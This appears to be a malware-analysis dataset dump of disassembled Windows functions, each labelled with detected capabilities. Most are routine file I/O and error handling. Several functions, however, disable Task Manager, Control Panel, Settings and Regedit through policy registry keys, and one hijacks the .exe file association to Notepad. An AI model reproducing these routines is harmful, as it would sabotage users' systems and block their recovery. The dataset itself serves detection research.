joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001ceb4
Capabilities:
Create directory

Disassembly:
jmp 0x14001ceb4
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x14002cec0]
xor rax, rsp
mov qword [rsp + 0x130], rax
movsxd rbx, ecx
mov rcx, rdx
mov rdi, rdx
call sub.MSVCR100.dll_strlen
cmp rax, rbx
jbe 0x14001cf22
lea rcx, [rsp + 0x20]
mov rdx, rdi
call sub.MSVCR100.dll_strcpy
lea rcx, [rsp + 0x20]
mov edx, 0x2f
call qword [sym.imp.MSVCR100.dll_strrchr]
test rax, rax
je 0x14001cf22
lea rdx, [rsp + 0x20]
mov ecx, ebx
mov byte [rax], 0
call fcn.1400016c2
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCR100.dll__mkdir]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14001e3b0
mov rbx, qword [rsp + 0x160]
add rsp, 0x140
pop rdi
ret

Function at 0x14001cf68
Capabilities:
Terminate process

Disassembly:
jmp 0x14001cf68
push rbx
sub rsp, 0x20
test rcx, rcx
lea rbx, str.corrupt_pack_file_or_internal_error
mov rax, rdx
cmovne rbx, rcx
test rdx, rdx
jne 0x14001cfb4
call fcn.140001203
test rax, rax
jne 0x14001cfb4
call qword [sym.imp.MSVCR100.dll___iob_func]
lea rdx, str.Error:_unpacker:__s_n
mov r8, rbx
lea rcx, [rax + 0x60]
call qword [sym.imp.MSVCR100.dll_fprintf]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.MSVCR100.dll_abort]
mov rdx, rbx
mov rcx, rax
add rsp, 0x20
pop rbx
jmp fcn.14000169a

Function at 0x14001d118
Capabilities:
Terminate process
Write file on windows

Disassembly:
jmp 0x14001d118
test r8d, r8d
jle 0x14001d16b
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, r8d
mov rsi, rdx
mov rdi, rcx
mov r9, qword [rdi]
movsxd r8, ebx
mov edx, 1
mov rcx, rsi
call qword [sym.imp.MSVCR100.dll_fwrite]
test eax, eax
jle 0x14001d16c
add dword [rdi + 0x34], eax
movsxd rcx, eax
sub ebx, eax
add rsi, rcx
test ebx, ebx
jg 0x14001d135
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.MSVCR100.dll__errno]
mov rcx, qword [rdi + 0x50]
lea rdx, str.Error:_write_on_output_file_failed_err_d_n
mov rcx, qword [rcx + 0xc0]
mov r8d, dword [rax]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 1
call qword [sym.imp.MSVCR100.dll_exit]
int3

Function at 0x14001d250
Capabilities:
Terminate process

Disassembly:
jmp 0x14001d250
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rdi, rdx
mov rbx, rcx
jne 0x14001d2a5
lea rdx, [0x140029ed4]
mov rcx, rdi
call qword [sym.imp.MSVCR100.dll_fopen]
mov qword [rbx], rax
test rax, rax
jne 0x14001d2a5
mov rcx, qword [rbx + 0x50]
lea rdx, str.Error:_Could_not_open_jar_file:__s_n
mov r8, rdi
mov rcx, qword [rcx + 0xc0]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 3
call qword [sym.imp.MSVCR100.dll_exit]
int3
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14001d350
Capabilities:
Terminate process

Disassembly:
jmp 0x14001d350
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14002cec0]
xor rax, rsp
mov qword [rsp + 0x70], rax
movsxd rdi, edx
mov rbx, rcx
test edx, edx
je 0x14001d38f
cmp edi, dword [rcx + 0xc]
jne 0x14001d383
mov eax, dword [rcx + 0x10]
jmp 0x14001d452
mov eax, dword [rcx + 8]
cmp eax, 0
cmove eax, edi
mov dword [rcx + 8], eax
xor edx, edx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x40], rdi
lea r8d, [rdx + 0x24]
call sub.MSVCR100.dll_memset
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR100.dll__gmtime64]
mov r10, rax
test rax, rax
jne 0x14001d3db
mov rcx, qword [rbx + 0x50]
lea rdx, str.Error:_gmtime_failure__invalid_input_archive_n
mov rcx, qword [rcx + 0xc0]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 2
call qword [sym.imp.MSVCR100.dll_exit]
int3
mov dword [rbx + 0xc], edi
mov r11d, dword [rax + 0x14]
mov edx, 0x7bc
add r11d, 0x76c
cmp r11d, edx
jge 0x14001d418
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9d, 1
mov rcx, rbx
mov r8d, r9d
call fcn.140001352
mov r11d, eax
jmp 0x14001d44b
add r11d, 0xffffffc4
shl r11d, 9
or r11d, dword [rax + 0xc]
shl r11d, 5
or r11d, dword [rax + 8]
shl r11d, 6
or r11d, dword [rax + 4]
mov eax, dword [rax + 0x10]
inc eax
shl r11d, 5
shl eax, 0x15
or r11d, eax
mov eax, dword [r10]
shr eax, 1
or r11d, eax
mov dword [rbx + 0x10], r11d
mov eax, r11d
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001e3b0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop rdi
ret
Function at 0x14001e8cb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14002cec0]
jne 0x14001e3ca
rol rcx, 0x10
test cx, 0xffff
jne 0x14001e3c6
repz ret
ror rcx, 0x10
jmp 0x14001e824
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14002d5e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14002d6d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001e8a9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14002d5e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001e8cb
mov rax, qword [rsp + 0x88]
mov qword [0x14002d6d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14002d678], rax
mov rax, qword [0x14002d6d8]
mov qword [0x14002d550], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14002d660], rax
mov dword [0x14002d540], 0xc0000409
mov dword [0x14002d544], 1
mov rax, qword [0x14002cec0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14002cec8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14002d5d8], eax
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140029f98]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14002d5d8], 0
jne 0x14001e952
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140004450
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x98
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004553
mov dword [rsp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x16
lea rdx, str.Task_Manager_disabled.
lea rcx, [rsp + 0x30]
call fcn.1400074e0
nop
lea rcx, [rsp + 0x30]
call fcn.1400034d0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004553
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000454d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000454d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008ed4
nop
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140008e70
add rsp, 0x98
ret

Function at 0x140004570
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x98
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004673
mov dword [rsp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.NoControlPanel
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x17
lea rdx, str.Control_Panel_disabled.
lea rcx, [rsp + 0x30]
call fcn.1400074e0
nop
lea rcx, [rsp + 0x30]
call fcn.1400034d0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004673
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000466d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000466d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008ed4
nop
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140008e70
add rsp, 0x98
ret
Function at 0x140004690
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x98
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004793
mov dword [rsp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.NoSettings
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x16
lea rdx, str.Settings_App_disabled.
lea rcx, [rsp + 0x30]
call fcn.1400074e0
nop
lea rcx, [rsp + 0x30]
call fcn.1400034d0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004793
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000478d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000478d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008ed4
nop
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140008e70
add rsp, 0x98
ret
Function at 0x1400047b0
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
sub rsp, 0xb8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.exefile_shellopencommand
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000493d
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x90], xmm1
mov r8d, 0x22
lea rdx, str.C:WindowsSystem32_notepad.exe__1
lea rcx, [rsp + 0x80]
call fcn.140007260
nop
mov eax, dword [rsp + 0x90]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x2a
lea rdx, str.All_.exe_files_will_now_open_with_Notepad.
lea rcx, [rsp + 0x50]
call fcn.1400074e0
nop
lea rcx, [rsp + 0x50]
call fcn.1400034d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400048f1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008ed4
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x14000493d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004937
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004937
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008ed4
nop
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140008e70
add rsp, 0xb8
ret
Function at 0x140004960
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x98
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004a63
mov dword [rsp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRegistryTools
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x18
lea rdx, str.Regedit_is_now_disabled.
lea rcx, [rsp + 0x30]
call fcn.1400074e0
nop
lea rcx, [rsp + 0x30]
call fcn.1400034d0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004a63
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008ed4
nop
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140008e70
add rsp, 0x98
ret

Function at 0x1400058d0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400058f8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000591e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140005920
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140005979
test ecx, ecx
jle 0x140005959
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140005979
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140005979
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x1400059a0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400059c2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1400059d8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400059f4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400059f6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005a32
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140005ace
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140005a6d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140005aae
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140005ace
cmp rbx, rax
ja 0x140005a80
test rbx, rbx
je 0x140005ace
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140005f30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140005f5d
xor eax, eax
jmp 0x1400060c9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005f97
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005f97
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400060c9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400060bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140005fda
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140006005
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400060c1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006074
sub eax, 1
je 0x140006074
cmp eax, 2
jne 0x1400060bc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400060c1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400060a2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400060bc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400060c1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140008e70
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400066c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140006793
cmp byte [rcx + 0x71], 0
je 0x140006793
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000678f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006754
sub eax, 1
je 0x140006758
cmp eax, 2
jne 0x14000678f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140008e70
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140006786
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000678f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000673c
xor al, al
jmp 0x14000673c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140008e70
add rsp, 0x60
pop rbx
ret

Function at 0x1400086d0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000870a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000870f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140008758
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14000c4e0]
cmp byte [rcx + rax], 0
je 0x140008758
dec r8
sub rdx, 1
jne 0x14000873e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140009868
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400098b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400098b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400098b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400098b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400098b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400098b4
xor al, al
add rsp, 0x28
ret
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140014500
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015840
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015860
xor al, al
jmp 0x1400158e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015873
xor al, al
jmp 0x1400158e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001589d
xor al, al
jmp 0x1400158e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
